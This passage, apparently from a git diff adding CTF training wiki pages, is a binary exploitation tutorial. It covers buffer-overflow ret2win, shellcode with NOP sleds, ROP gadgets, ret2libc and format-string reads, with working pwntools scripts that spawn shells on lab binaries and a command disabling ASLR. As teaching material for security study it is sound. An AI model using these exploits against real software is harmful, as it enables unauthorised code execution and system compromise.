By providing the PID of the process, radare2 hooks onto it. Let's break at the return of unsafe() and read the value of the return pointer.

+
[0x08049172]> db 0x080491aa
+[0x08049172]> dc
+
+<< press any button on the exploit terminal window >>
+
+hit breakpoint at: 80491aa
+[0x080491aa]> pxw @ esp
+0xffdb0f7c  0xc3910408 [...]
+[...]
+
+

0xc3910408 - look familiar? It's the address we were trying to send over, except the bytes have been reversed, and the reason for this reversal is endianness. Big-endian systems store the most significant byte (the byte with the largest value) at the smallest memory address, and this is how we sent them. Little-endian does the opposite (for a reason), and most binaries you will come across are little-endian. As far as we're concerned, the byte is stored in reverse order in little-endian executables.

+

Finding the Endianness

+

radare2 comes with a nice tool called rabin2 for binary analysis:

+
$ rabin2 -I vuln
+[...]
+endian   little
+[...]
+
+

So our binary is little-endian.

+

Accounting for Endianness

+

The fix is simple - reverse the address (you can also remove the pause())

+
payload += '\x08\x04\x91\xc3'[::-1]
+
+

If you run this now, it will work:

+
$ python3 tutorial.py 
+[+] Starting local process './vuln': pid 2290
+[*] Overflow me
+[*] Exploited!!!!!
+
+

And wham, you've called the flag() function! Congrats!

+

Pwntools and Endianness

+

Unsurprisingly, you're not the first person to have thought "Could they possibly make endianness simpler" - luckily, pwntools has a built-in p32() function ready for use!

+
payload += '\x08\x04\x91\xc3'[::-1]
+
+

becomes

+
payload += p32(0x080491c3)
+
+

Much simpler, right?

+

The only caveat is that it returns bytes rather than a string, so you have to make the padding a byte string:

+
payload = b'A' * 52        # Notice the "b"
+
+

Otherwise, you will get a

+
TypeError: can only concatenate str (not "bytes") to str
+
+

Final Exploit

+
from pwn import *            # This is how we import pwntools
+
+p = process('./vuln')        # We're starting a new process
+
+payload = b'A' * 52
+payload += p32(0x080491c3)   # Use pwntools to pack it
+
+log.info(p.clean())          # Receive all the text
+p.sendline(payload)
+
+log.info(p.clean())          # Output the "Exploited!" string to know we succeeded
+
+

De Bruijn Sequences

+
+

The better way to calculate offsets

+
+

De Bruijn sequences of order n is simply a sequence where no string of n characters is repeated. This makes finding the offset until EIP much simpler - we can just pass in a De Bruijn sequence, get the value within EIP and find the one possible match within the sequence to calculate the offset. Let's do this on the ret2win binary.

+

Generating the Pattern

+

Again, radare2 comes with a nice command-line tool (called ragg2) that can generate it for us. Let's create a sequence of length 100.

+
$ ragg2 -P 100 -r
+AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
+
+

The -P specifies the length while -r tells it to show ascii bytes rather than hex pairs.

+

Using the Pattern

+

Now we have the pattern, let's just input it in radare2 when prompted for input, make it crash, and then calculate how far along the sequence the EIP is. Simples.

+
$ r2 -d -A vuln
+
+[0xf7ede0b0]> dc
+Overflow me
+AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
+child stopped with signal 11
+[+] SIGNAL 11 errno=0 addr=0x41534141 code=1 ret=0
+
+

The address it crashes on is 0x41534141; we can use radare2's in-built wopO command to work out the offset.

+
[0x41534141]> wopO 0x41534141
+52
+
+

Awesome - we get the correct value!

+

We can also be lazy and not copy the value.

+
[0x41534141]> wopO `dr eip`
+52
+
+

The backticks mean the dr eip is calculated first before the wopO is run on the result of it.

+

Shellcode

+
+

Running your own code

+
+

In real exploits, it's not particularly likely that you will have a win() function lying around - shellcode is a way to run your own instructions, giving you the ability to run arbitrary commands on the system.

+

Shellcode is essentially assembly instructions, except we input them into the binary; once we input it, we overwrite the return pointer to hijack code execution and point at our own instructions!

+
+

I promise you can trust me but you should never ever run shellcode without knowing what it does. Pwntools is safe and has almost all the shellcode you will ever need.

+
+

The reason shellcode is successful is that Von Neumann architecture (the architecture used in most computers today) does not differentiate between data and instructions - it doesn't matter where or what you tell it to run, it will attempt to run it. Therefore, even though our input is data, the computer doesn't know that - and we can use that to our advantage.

+

shellcode.zip

+

Disabling ASLR

+

ASLR is a security technique, and while it is not specifically designed to combat shellcode, it involves randomizing certain aspects of memory (we will talk about it in much more detail later). This randomization can make shellcode exploits like the one we're about to do less reliable, so we'll be disabling it, for now, using this.

+
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+
+
+

Again, you should never run commands if you don't know what they do

+
+

Finding the Buffer in Memory

+

Let's debug vuln() using radare2 and work out where in memory the buffer starts; this is where we want to point the return pointer to.

+
$ r2 -d -A vuln
+
+[0xf7fd40b0]> s sym.unsafe ; pdf
+[...]
+; var int32_t var_134h @ ebp-0x134
+[...]
+
+

This value that gets printed out is a local variable - due to its size, it's fairly likely to be the buffer. Let's set a breakpoint just after gets() and find the exact address.

+
[0x08049172]> dc
+Overflow me
+<<Found me>>                    <== This was my input
+hit breakpoint at: 80491a8
+[0x080491a8]> px @ ebp - 0x134
+- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
+0xffffcfb4  3c3c 466f 756e 6420 6d65 3e3e 00d1 fcf7  <<Found me>>....
+
+[...]
+
+

It appears to be at 0xffffcfd4; if we run the binary multiple times, it should remain where it is (if it doesn't, make sure ASLR is disabled!).

+

Finding the Padding

+

Now we need to calculate the padding until the return pointer. We'll use the De Bruijn sequence as explained in the previous blog post.

+
$ ragg2 -P 400 -r
+<copy this>
+
+$ r2 -d -A vuln
+[0xf7fd40b0]> dc
+Overflow me
+<<paste here>>
+[0x73424172]> wopO `dr eip`
+312
+
+

The padding is 312 bytes.

+

Putting it all together

+

In order for the shellcode to be correct, we're going to set the context.binary to our binary; this grabs stuff like the arch, OS, and bits and enables pwntools to provide us with working shellcode.

+
from pwn import *
+
+context.binary = ELF('./vuln')
+
+p = process()
+
+
+

We can use just process() because once the context.binary is set it is assumed to use that process

+
+

Now we can use pwntools' awesome shellcode functionality to make it incredibly simple.

+
payload = asm(shellcraft.sh())          # The shellcode
+payload = payload.ljust(312, b'A')      # Padding
+payload += p32(0xffffcfb4)              # Address of the Shellcode
+
+

Yup, that's it. Now let's send it off and use p.interactive(), which enables us to communicate to the shell.

+
log.info(p.clean())
+
+p.sendline(payload)
+
+p.interactive()
+
+
+

If you're getting an EOFError, print out the shellcode and try to find it in memory - the stack address may be wrong

+
+
$ python3 exploit.py
+[*] 'vuln'
+    Arch:     i386-32-little
+    RELRO:    Partial RELRO
+    Stack:    No canary found
+    NX:       NX disabled
+    PIE:      No PIE (0x8048000)
+    RWX:      Has RWX segments
+[+] Starting local process 'vuln': pid 3606
+[*] Overflow me
+[*] Switching to interactive mode
+$ whoami
+ironstone
+$ ls
+exploit.py  source.c  vuln
+
+

And it works! Awesome.

+

Final Exploit

+
from pwn import *
+
+context.binary = ELF('./vuln')
+
+p = process()
+
+payload = asm(shellcraft.sh())          # The shellcode
+payload = payload.ljust(312, b'A')      # Padding
+payload += p32(0xffffcfb4)              # Address of the Shellcode
+
+log.info(p.clean())
+
+p.sendline(payload)
+
+p.interactive()
+
+

Summary

+
    +
  • We injected shellcode, a series of assembly instructions, when prompted for input
  • +
  • We then hijacked code execution by overwriting the saved return pointer on the stack and modified it to point to our shellcode
  • +
  • Once the return pointer got popped into EIP, it pointed at our shellcode
  • +
  • This caused the program to execute our instructions, giving us (in this case) a shell for arbitrary command execution
  • +
+

NOPs

+
+

More reliable shellcode exploits

+
+

NOP (no operation) instructions do exactly what they sound like nothing. This makes them very useful for shellcode exploits because all they will do is run the next instruction. If we pad our exploits on the left with NOPs and point EIP in the middle of them, it'll simply keep doing no instructions until it reaches our actual shellcode. This allows us a greater margin of error as a shift of a few bytes forward or backward won't really affect it, it'll just run a different number of NOP instructions - which have the same end result of running the shellcode. This padding with NOPs is often called a NOP slide or NOP sled since the EIP is essentially sliding down them.

+

In intel x86 assembly, NOP instructions are \x90.

+
+

The NOP instruction actually used to stand for XCHG EAX, EAX, which does effectively nothing. You can read a bit more about it on this StackOverflow question.

+
+

Updating our Shellcode Exploit

+

We can make slight changes to our exploit to do two things:

+
    +
  • Add a large number of NOPs on the left
  • +
  • Adjust our return pointer to point at the middle of the NOPs rather than the buffer start
  • +
+
+

Make sure ASLR is still disabled. If you have to disable it again, you may have to readjust your previous exploit as the buffer location may be different.

+
+
from pwn import *
+
+context.binary = ELF('./vuln')
+
+p = process()
+
+payload = b'\x90' * 240                 # The NOPs
+payload += asm(shellcraft.sh())         # The shellcode
+payload = payload.ljust(312, b'A')      # Padding
+payload += p32(0xffffcfb4 + 120)        # Address of the buffer + half nop length
+
+log.info(p.clean())
+
+p.sendline(payload)
+
+p.interactive()
+
+
+

It's probably worth mentioning that shellcode with NOPs is not failsafe; if you receive unexpected errors padding with NOPs but the shellcode worked before, try reducing the length of the nopsled as it may be tampering with other things on the stack

+
+

Note that NOPs are only \x90 in certain architectures, and if you need others you can use pwntools:

+
nop = asm(shellcraft.nop())
+
+

32- vs 64-bit

+
+

The differences between the sizes

+
+

Everything we have done so far is applicable to 64-bit as well as 32-bit; the only thing you would need to change is switching out the p32() for p64() as the memory addresses are longer.

+

The real difference between the two, however, is the way you pass parameters to functions (which we'll be looking at much closer soon); in 32-bit, all parameters are pushed to the stack before the function is called. In 64-bit, however, the first 6 are stored in the registers RDI, RSI, RDX, RCX, R8, and R9 respectively as per the calling convention. Note that different Operating Systems also have different calling conventions.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Material/pwn-stack-2/index.html b/Training/Material/pwn-stack-2/index.html new file mode 100644 index 000000000..73681adaa --- /dev/null +++ b/Training/Material/pwn-stack-2/index.html @@ -0,0 +1,9547 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Binary Exploitation - Stack - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Binary Exploitation - Stack

+
+

https://ir0nstone.gitbook.io/notes/

+
+

No eXecute

+
+

The defense against shellcode

+
+

As you can expect, programmers were hardly pleased that people could inject their own instructions into the program. The NX bit, which stands for No eXecute, defines areas of memory as either instructions or data. This means that your input will be stored as data, and any attempt to run it as instructions will crash the program, effectively neutralizing the shellcode.

+

To get around NX, exploit developers have to leverage a technique called ROP, Return-Oriented Programming.

+

The Windows version of NX is DEP, which stands for Data Execution Prevention

+

Checking for NX

+

You can either use pwntools' checksec or rabin2.

+
$ checksec vuln
+[*] 'vuln'
+    Arch:     i386-32-little
+    RELRO:    Partial RELRO
+    Stack:    No canary found
+    NX:       NX disabled
+    PIE:      No PIE (0x8048000)
+    RWX:      Has RWX segments
+
+
$ rabin2 -I vuln
+[...]
+nx       false
+[...]
+
+

Return-Oriented Programming

+
+

Bypassing NX

+
+

The basis of ROP is chaining together small chunks of code already present within the binary itself in such a way as to do what you wish. This often involves passing parameters to functions already present within libc, such as system - if you can find the location of a command, such as cat flag.txt, and then pass it as a parameter to the system, it will execute that command and return the output. A more dangerous command is /bin/sh, which when run by the system gives the attacker a shell much like the shellcode we used did.

+

Doing this, however, is not as simple as it may seem at first. To be able to properly call functions, we first have to understand how to pass parameters to them.

+

Calling Conventions

+
+

A more in-depth look into parameters for 32-bit and 64-bit programs

+
+

One Parameter

+

calling-conventions-one-param

+

Source

+

Let's have a quick look at the source:

+
#include <stdio.h>
+
+void vuln(int check) {
+    if(check == 0xdeadbeef) {
+        puts("Nice!");
+    } else {
+        puts("Not nice!");
+    }
+}
+
+int main() {
+    vuln(0xdeadbeef);
+    vuln(0xdeadc0de);
+}
+
+

Pretty simple.

+

If we run the 32-bit and 64-bit versions, we get the same output:

+
Nice!
+Not nice!
+
+

Just what we expected.

+

Analyzing 32-bit

+

Let's open the binary up in radare2 and disassemble it.

+
$ r2 -d -A vuln-32
+$ s main; pdf
+
+0x080491ac      8d4c2404       lea ecx, [argv]
+0x080491b0      83e4f0         and esp, 0xfffffff0
+0x080491b3      ff71fc         push dword [ecx - 4]
+0x080491b6      55             push ebp
+0x080491b7      89e5           mov ebp, esp
+0x080491b9      51             push ecx
+0x080491ba      83ec04         sub esp, 4
+0x080491bd      e832000000     call sym.__x86.get_pc_thunk.ax
+0x080491c2      053e2e0000     add eax, 0x2e3e
+0x080491c7      83ec0c         sub esp, 0xc
+0x080491ca      68efbeadde     push 0xdeadbeef
+0x080491cf      e88effffff     call sym.vuln
+0x080491d4      83c410         add esp, 0x10
+0x080491d7      83ec0c         sub esp, 0xc
+0x080491da      68dec0adde     push 0xdeadc0de
+0x080491df      e87effffff     call sym.vuln
+0x080491e4      83c410         add esp, 0x10
+0x080491e7      b800000000     mov eax, 0
+0x080491ec      8b4dfc         mov ecx, dword [var_4h]
+0x080491ef      c9             leave
+0x080491f0      8d61fc         lea esp, [ecx - 4]
+0x080491f3      c3             ret
+
+

If we look closely at the calls to sym.vuln, we see a pattern:

+
push 0xdeadbeef
+call sym.vuln
+[...]
+push 0xdeadc0de
+call sym.vuln
+
+

We literally push the parameter to the stack before calling the function. Let's break on sym.vuln.

+
[0x080491ac]> db sym.vuln
+[0x080491ac]> dc
+hit breakpoint at: 8049162
+[0x08049162]> pxw @ esp
+0xffdeb54c      0x080491d4 0xdeadbeef 0xffdeb624 0xffdeb62c
+
+

The first value there is the return pointer that we talked about before - the second, however, is the parameter. This makes sense because the return pointer gets pushed during the call, so it should be at the top of the stack. Now let's disassemble sym.vuln.

+
┌ 74: sym.vuln (int32_t arg_8h);
+│           ; var int32_t var_4h @ ebp-0x4
+│           ; arg int32_t arg_8h @ ebp+0x8
+│           0x08049162 b    55             push ebp
+│           0x08049163      89e5           mov ebp, esp
+│           0x08049165      53             push ebx
+│           0x08049166      83ec04         sub esp, 4
+│           0x08049169      e886000000     call sym.__x86.get_pc_thunk.ax
+│           0x0804916e      05922e0000     add eax, 0x2e92
+│           0x08049173      817d08efbead.  cmp dword [arg_8h], 0xdeadbeef
+│       ┌─< 0x0804917a      7516           jne 0x8049192
+│       │   0x0804917c      83ec0c         sub esp, 0xc
+│       │   0x0804917f      8d9008e0ffff   lea edx, [eax - 0x1ff8]
+│       │   0x08049185      52             push edx
+│       │   0x08049186      89c3           mov ebx, eax
+│       │   0x08049188      e8a3feffff     call sym.imp.puts           ; int puts(const char *s)
+│       │   0x0804918d      83c410         add esp, 0x10
+│      ┌──< 0x08049190      eb14           jmp 0x80491a6
+│      │└─> 0x08049192      83ec0c         sub esp, 0xc
+│      │    0x08049195      8d900ee0ffff   lea edx, [eax - 0x1ff2]
+│      │    0x0804919b      52             push edx
+│      │    0x0804919c      89c3           mov ebx, eax
+│      │    0x0804919e      e88dfeffff     call sym.imp.puts           ; int puts(const char *s)
+│      │    0x080491a3      83c410         add esp, 0x10
+│      │    ; CODE XREF from sym.vuln @ 0x8049190
+│      └──> 0x080491a6      90             nop
+│           0x080491a7      8b5dfc         mov ebx, dword [var_4h]
+│           0x080491aa      c9             leave
+└           0x080491ab      c3             ret
+
+

Here I'm showing the full output of the command because a lot of it is relevant. radare2 does a great job of detecting local variables - as you can see at the top, there is one called arg_8h. Later this same one is compared to 0xdeadbeef:

+
cmp dword [arg_8h], 0xdeadbeef
+
+

Clearly, that's our parameter.

+

So now we know, when there's one parameter, it gets pushed to the stack so that the stack looks like this:

+
return address        param_1
+
+

Analyzing 64-bit

+

Let's disassemble the main again here.

+
0x00401153      55             push rbp
+0x00401154      4889e5         mov rbp, rsp
+0x00401157      bfefbeadde     mov edi, 0xdeadbeef
+0x0040115c      e8c1ffffff     call sym.vuln
+0x00401161      bfdec0adde     mov edi, 0xdeadc0de
+0x00401166      e8b7ffffff     call sym.vuln
+0x0040116b      b800000000     mov eax, 0
+0x00401170      5d             pop rbp
+0x00401171      c3             ret
+
+

Hohoho, it's different. As we mentioned before, the parameter gets moved to rdi (in the disassembly here it's edi, but edi is just the lower 32 bits of rdi, and the parameter is only 32 bits long, so it says EDI instead). If we break on sym.vuln again we can check rdi with the command

+
dr rdi
+
+
+

Just dr will display all registers

+
+
[0x00401153]> db sym.vuln 
+[0x00401153]> dc
+hit breakpoint at: 401122
+[0x00401122]> dr rdi
+0xdeadbeef
+
+

Awesome.

+
+

Registers are used for parameters, but the return address is still pushed onto the stack and in ROP is placed right after the function address

+
+

Multiple Parameters

+

calling-convention-multi-param

+

Source

+
#include <stdio.h>
+
+void vuln(int check, int check2, int check3) {
+    if(check == 0xdeadbeef && check2 == 0xdeadc0de && check3 == 0xc0ded00d) {
+        puts("Nice!");
+    } else {
+        puts("Not nice!");
+    }
+}
+
+int main() {
+    vuln(0xdeadbeef, 0xdeadc0de, 0xc0ded00d);
+    vuln(0xdeadc0de, 0x12345678, 0xabcdef10);
+}
+
+

32-bit

+

We've seen the full disassembly of an almost identical binary, so I'll only isolate the important parts.

+
0x080491dd      680dd0dec0     push 0xc0ded00d
+0x080491e2      68dec0adde     push 0xdeadc0de
+0x080491e7      68efbeadde     push 0xdeadbeef
+0x080491ec      e871ffffff     call sym.vuln
+[...]
+0x080491f7      6810efcdab     push 0xabcdef10
+0x080491fc      6878563412     push 0x12345678
+0x08049201      68dec0adde     push 0xdeadc0de
+0x08049206      e857ffffff     call sym.vuln
+
+

It's just as simple - push them in reverse order of how they're passed in. The reverse order becomes helpful when you db sym.vuln and print out the stack.

+
[0x080491bf]> db sym.vuln
+[0x080491bf]> dc
+hit breakpoint at: 8049162
+[0x08049162]> pxw @ esp
+0xffb45efc      0x080491f1 0xdeadbeef 0xdeadc0de 0xc0ded00d
+
+

So it becomes quite clear how more parameters are placed on the stack:

+
return pointer        param1        param2        param3        [...]        paramN
+
+

64-bit

+
0x00401170      ba0dd0dec0     mov edx, 0xc0ded00d
+0x00401175      bedec0adde     mov esi, 0xdeadc0de
+0x0040117a      bfefbeadde     mov edi, 0xdeadbeef
+0x0040117f      e89effffff     call sym.vuln
+0x00401184      ba10efcdab     mov edx, 0xabcdef10
+0x00401189      be78563412     mov esi, 0x12345678
+0x0040118e      bfdec0adde     mov edi, 0xdeadc0de
+0x00401193      e88affffff     call sym.vuln
+
+

So as well as rdi, we also push to rdx and rsi (or, in this case, their lower 32 bits).

+

Bigger 64-bit values

+

Just to show that it is in fact ultimately rdi and not edi that is used, I will alter the original one-parameter code to utilize a bigger number:

+
#include <stdio.h>
+
+void vuln(long check) {
+    if(check == 0xdeadbeefc0dedd00d) {
+        puts("Nice!");
+    }
+}
+
+int main() {
+    vuln(0xdeadbeefc0dedd00d);
+}
+
+

If you disassemble the main, you can see it disassembles to

+
movabs rdi, 0xdeadbeefc0ded00d
+call sym.vuln
+
+
+

movabs can be used to encode the mov instruction for 64-bit instructions - treat it as if it's a mov.

+
+

Gadgets

+
+

Controlling execution with snippets of code

+
+

Gadgets are small snippets of code followed by a ret instruction, e.g. pop rdi; ret. We can manipulate the ret of these gadgets in such a way as to string together a large chain of them to do what we want.

+

Example

+

Let's for a minute pretend the stack looks like this during the execution of a pop rdi; ret gadget.

+

img

+

What happens is fairly obvious - 0x10 gets popped into rdi as it is at the top of the stack during the pop rdi. Once the pop occurs, rsp moves:

+

img

+

And since ret is equivalent to pop rip, 0x5655576724 gets moved into rip. Note how the stack is laid out for this.

+

Utilizing Gadgets

+

When we overwrite the return pointer, we overwrite the value pointed at by rsp. Once that value is popped, it points to the next value at the stack - but wait. We can overwrite the next value in the stack.

+

Let's say that we want to exploit a binary to jump to a pop rdi; ret gadget, pop 0x100 into rdi then jump to flag(). Let's step-by-step the execution.

+

img

+

On the original ret, which we overwrite the return pointer for, we pop the gadget address in. Now rip moves to point to the gadget, and rsp moves to the next memory address.

+

img

+

rsp moves to the 0x100; rip to the pop rdi. Now when we pop, 0x100 gets moved into rdi.

+

img

+

RSP moves to the next item on the stack, the address of the flag(). The ret is executed and flag() is called.

+

Summary

+

Essentially, if the gadget pops values from the stack, simply place those values afterward (including the pop rip in ret). If we want to pop 0x10 into rdi and then jump to 0x16, our payload would look like this:

+

img

+

Note if you have multiple pop instructions, you can just add more values.

+

img

+
+

We use rdi as an example because, if you remember, that's the register for the first parameter in 64-bit. This means control of this register using this gadget is important.

+
+

Finding Gadgets

+

We can use the tool ROPgadget to find possible gadgets.

+
$ ROPgadget --binary vuln-64
+
+Gadgets information
+============================================================
+0x0000000000401069 : add ah, dh ; nop dword ptr [rax + rax] ; ret
+0x000000000040109b : add bh, bh ; loopne 0x40110a ; nop ; ret
+0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401024
+[...]
+
+

Combine it with grep to look for specific registers.

+
$ ROPgadget --binary vuln-64 | grep rdi
+
+0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax
+0x00000000004011db : pop rdi ; ret
+
+

Exploiting Calling Conventions

+
+

Utilizing Calling Conventions

+
+

exploiting_with_params

+

32-bit

+

The program expects the stack to be laid out like this before executing the function:

+

img

+

So why don't we provide it like that? As well as the function, we also pass the return address and the parameters.

+

img

+

Everything after the address of flag() will be part of the stack frame for the next function as it is expected to be there - just instead of using push instructions we just overwrote them manually.

+
from pwn import *
+
+p = process('./vuln-32')
+
+payload = b'A' * 52            # Padding up to EIP
+payload += p32(0x080491c7)     # Address of flag()
+payload += p32(0x0)            # Return address - don't care if crashes when done
+payload += p32(0xdeadc0de)     # First parameter
+payload += p32(0xc0ded00d)     # Second parameter
+
+log.info(p.clean())
+p.sendline(payload)
+log.info(p.clean())
+
+

64-bit

+

Same logic, except we have to utilize the gadgets we talked about previously to fill the required registers (in this case rdi and rsi as we have two parameters).

+

We have to fill the registers before the function is called

+
from pwn import *
+
+p = process('./vuln-64')
+
+POP_RDI, POP_RSI_R15 = 0x4011fb, 0x4011f9
+
+
+payload = b'A' * 56            # Padding
+payload += p64(POP_RDI)        # pop rdi; ret
+payload += p64(0xdeadc0de)     # value into rdi -> first param
+payload += p64(POP_RSI_R15)    # pop rsi; pop r15; ret
+payload += p64(0xc0ded00d)     # value into rsi -> first param
+payload += p64(0x0)            # value into r15 -> not important
+payload += p64(0x40116f)       # Address of flag()
+payload += p64(0x0)
+
+log.info(p.clean())
+p.sendline(payload)
+log.info(p.clean())
+
+

ret2libc

+
+

The standard ROP exploit

+
+

A ret2libc is based on the system function found within the C library. This function executes anything passed to it making it the best target. Another thing found within libc is the string /bin/sh; if you pass this string to the system, it will pop a shell.

+

And that is the entire basis of it - passing /bin/sh as a parameter to the system. Doesn't sound too bad, right?

+

ret2libc

+

Disabling ASLR

+

To start with, we are going to disable ASLR. ASLR randomizes the location of libc in memory, meaning we cannot (without other steps) work out the location of the system and /bin/sh. To understand the general theory, we will start with it disabled.

+
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+
+

Manual Exploitation

+
Getting Libc and its base
+

Fortunately, Linux has a command called ldd for dynamic linking. If we run it on our compiled ELF file, it'll tell us the libraries it uses and their base addresses.

+
$ ldd vuln-32 
+    linux-gate.so.1 (0xf7fd2000)
+    libc.so.6 => /lib32/libc.so.6 (0xf7dc2000)
+    /lib/ld-linux.so.2 (0xf7fd3000)
+
+

We need libc.so.6, so the base address of libc is 0xf7dc2000.

+
+

Libc base and the system and /bin/sh offsets may be different for you. This isn't a problem - it just means you have a different libc version. Make sure you use your values.

+
+
Getting the location of the system()
+

To call the system, we obviously need its location in memory. We can use the readelf command for this.

+
$ readelf -s /lib32/libc.so.6 | grep system
+
+1534: 00044f00    55 FUNC    WEAK   DEFAULT   14 system@@GLIBC_2.0
+
+

The -s flag tells readelf to search for symbols, for example, functions. Here we can find the offset of the system from the libc base is 0x44f00.

+
Getting the location of /bin/sh
+

Since /bin/sh is just a string, we can use strings on the dynamic library we just found with ldd. Note that when passing strings as parameters you need to pass a pointer to the string, not the hex representation of the string, because that's how C expects it.

+
$ strings -a -t x /lib32/libc.so.6 | grep /bin/sh
+18c32b /bin/sh
+
+

-a tells it to scan the entire file; -t x tells it to output the offset in hex.

+
32-bit Exploit
+
from pwn import *
+
+p = process('./vuln-32')
+
+libc_base = 0xf7dc2000
+system = libc_base + 0x44f00
+binsh = libc_base + 0x18c32b
+
+payload = b'A' * 76         # The padding
+payload += p32(system)      # Location of system
+payload += p32(0x0)         # return pointer - not important once we get the shell
+payload += p32(binsh)       # pointer to command: /bin/sh
+
+p.clean()
+p.sendline(payload)
+p.interactive()
+
+
64-bit Exploit
+

Repeat the process with the libc linked to the 64-bit exploit (should be called something like /lib/x86_64-linux-gnu/libc.so.6).

+

Note that instead of passing the parameter in after the return pointer, you will have to use a pop rdi; ret gadget to put it into the RDI register.

+
$ ROPgadget --binary vuln-64 | grep rdi
+
+[...]
+0x00000000004011cb : pop rdi ; ret
+
+
from pwn import *
+
+p = process('./vuln-64')
+
+libc_base = 0x7ffff7de5000
+system = libc_base + 0x48e20
+binsh = libc_base + 0x18a143
+
+POP_RDI = 0x4011cb
+
+payload = b'A' * 72         # The padding
+payload += p64(POP_RDI)     # gadget -> pop rdi; ret
+payload += p64(binsh)       # pointer to command: /bin/sh
+payload += p64(system)      # Location of system
+payload += p64(0x0)         # return pointer - not important once we get the shell
+
+p.clean()
+p.sendline(payload)
+p.interactive()
+
+

Automating with Pwntools

+

Unsurprisingly, pwntools has a bunch of features that make this much simpler.

+
# 32-bit
+from pwn import *
+
+elf = context.binary = ELF('./vuln-32')
+p = process()
+
+libc = elf.libc                        # Simply grab the libc it's running with
+libc.address = 0xf7dc2000              # Set base address
+
+system = libc.sym['system']            # Grab location of system
+binsh = next(libc.search(b'/bin/sh'))  # grab string location
+
+payload = b'A' * 76         # The padding
+payload += p32(system)      # Location of system
+payload += p32(0x0)         # return pointer - not important once we get the shell
+payload += p32(binsh)       # pointer to command: /bin/sh
+
+p.clean()
+p.sendline(payload)
+p.interactive()
+
+

The 64-bit looks essentially the same.

+
+

Pwntools can simplify it even more with its ROP capabilities, but I won't showcase them here.

+
+

Format String Bug

+
+

Reading memory off the stack

+
+

Format String is a dangerous bug that is easily exploitable. If manipulated correctly, you can leverage it to perform powerful actions such as reading from and writing to arbitrary memory locations.

+

Why it exists

+

In C, certain functions can take "format specifier" within strings. Let's look at an example:

+
int value = 1205;
+
+printf("Decimal: %d\nFloat: %f\nHex: 0x%x", value, (double) value, value);
+
+

This prints out:

+
Decimal: 1205
+Float: 1205.000000
+Hex: 0x4b5
+
+

So, it replaced %d with the value, %f with the float value and %x with the hex representation.

+

This is a nice way in C of formatting strings (string concatenation is quite complicated in C). Let's try print out the same value in hex 3 times:

+
int value = 1205;
+
+printf("%x %x %x", value, value, value);
+
+

As expected, we get

+
4b5 4b5 4b5
+
+

What happens, however, if we don't have enough arguments for all the format specifiers?

+
int value = 1205;
+
+printf("%x %x %x", value);
+
+
4b5 5659b000 565981b0
+
+

Erm... what happened here?

+

The key here is that printf expects as many parameters as format string specifiers, and in 32-bit it grabs these parameters from the stack. If there aren't enough parameters on the stack, it'll just grab the next values - essentially leaking values off the stack. And that's what makes it so dangerous.

+

How to abuse this

+

Surely if it's a bug in the code, the attacker can't do much, right? Well, the real issue is when C code takes user-provided input and prints it out using printf.

+

fmtstr_arb_read

+
#include <stdio.h>
+
+int main(void) {
+    char buffer[30];
+
+    gets(buffer);
+
+    printf(buffer);
+    return 0;
+}
+
+

If we run this normally, it works as expected:

+
$ ./test 
+
+yes
+yes
+
+

But what happens if we input a format string specifier, such as %x?

+
$ ./test
+
+%x %x %x %x %x
+f7f74080 0 5657b1c0 782573fc 20782520
+
+

It reads values off the stack and returns them as the developer wasn't expecting so many format string specifiers.

+

Choosing Offsets

+

To print the same value 3 times, using

+
printf("%x %x %x", value, value, value);
+
+

Gets tedious - so, there is a better way in C.

+
printf("%1$x %1$x %1$x", value);
+
+

The 1$ between tells printf to use the first parameter. However, this also means that attackers can read values an arbitrary offset from the top of the stack - say we know there is a canary at the 6th %p - instead of sending %p %p %p %p %p %p, we can just do %6$p. This allows us to be much more efficient.

+

Arbitrary Reads

+

In C, when you want to use a string you use a pointer to the start of the string - this is essentially a value that represents a memory address. So when you use the %s format specifier, it's the pointer that gets passed to it. That means instead of reading a value of the stack, you read the value in the memory address it points at.

+

Now this is all very interesting - if you can find a value on the stack that happens to correspond to where you want to read, that is. But what if we could specify where we want to read? Well... we can.

+

Let's look back at the previous program and its output:

+
$ ./test
+
+%x %x %x %x %x %x
+f7f74080 0 5657b1c0 782573fc 20782520 25207825
+
+

You may notice that the last two values contain the hex values of %x. That's because we're reading the buffer. Here it's at the 4th offset - if we can write an address and then point %s at it, we can get an arbitrary write!

+
$ ./vuln 
+
+ABCD|%6$p
+ABCD|0x44434241
+
+
+

%p is a pointer; generally, it returns the same as %x just precedes it with a 0x which makes it stand out more

+
+

As we can see, we're reading the value we inputted. Let's write a quick pwntools script that writes the location of the ELF file and reads it with %s - if all goes well, it should read the first bytes of the file, which is always \x7fELF. Start with the basics:

+
from pwn import *
+
+p = process('./vuln')
+
+payload = p32(0x41424344)
+payload += b'|%6$p'
+
+p.sendline(payload)
+log.info(p.clean())
+
+
$ python3 exploit.py
+
+[+] Starting local process './vuln': pid 3204
+[*] b'DCBA|0x41424344'
+
+

Nice it works. The base address of the binary is 0x8048000, so let's replace the 0x41424344 with that and read it with %s:

+
from pwn import *
+
+p = process('./vuln')
+
+payload = p32(0x8048000)
+payload += b'|%6$s'
+
+p.sendline(payload)
+log.info(p.clean())
+
+

It doesn't work.

+

The reason it doesn't work is that printf stops at null bytes, and the very first character is a null byte. We have to put the format specifier first.

+
from pwn import *
+
+p = process('./vuln')
+
+payload = b'%8$p||||'
+payload += p32(0x8048000)
+
+p.sendline(payload)
